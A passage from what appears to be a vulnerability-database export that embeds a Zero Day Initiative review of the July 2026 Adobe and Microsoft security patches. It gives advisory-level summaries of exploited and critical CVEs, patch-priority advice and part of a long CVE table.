trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:03:24.799832Z"}, {"uuid": "559d115a-fcc2-4ed2-954e-17ec05073984", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54111", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  